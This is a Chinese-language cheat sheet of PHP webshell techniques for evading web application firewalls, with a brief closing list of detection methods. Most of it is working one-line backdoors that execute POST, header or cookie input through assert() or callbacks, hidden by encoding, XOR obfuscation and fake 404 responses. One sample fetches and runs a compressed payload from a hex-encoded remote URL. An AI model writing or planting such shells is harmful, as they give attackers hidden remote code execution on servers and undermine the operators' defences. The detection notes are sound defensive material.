常见绕过WAF的PHP:
字符串变形
大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰
<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>
ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()
自写函数
利用assert()
<?php
function test($a){
$a($_POST['x']);
}
test(assert);
?>
回调函数
<?php
call_user_func(assert,array($_POST[x]));
?>
call_user_func_array()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
forward_static_call_array()
类
利用魔术方法、析构函数destruct(),construct()
<?php
class test
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new test;
$b->a = $_POST['x'];
?>
利用外部文件
利用curl, fsockopen等发起网络请求再结合file_get_contents
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
无字符特征马
编码、异或、自增
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
特殊请求头
利用getallheaders()
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
全局变量
利用getenv(),arrag_flip(),get_defined_vars(),session_id()
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
PHP混淆加解密
以phpjiami为例
就是将函数名、变量名全部变成"乱码",且改动任意一个地方,都将导致文件不能运行。具体可访问:https://www.phpjiami.com/
webshell检测方法(部分)
机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
动态检测(沙箱)
基于流量模式检测webshell:agent
逆向算法+静态匹配检测webshell:比如D盾webshell查杀
根据文件入度出度来检测
参考: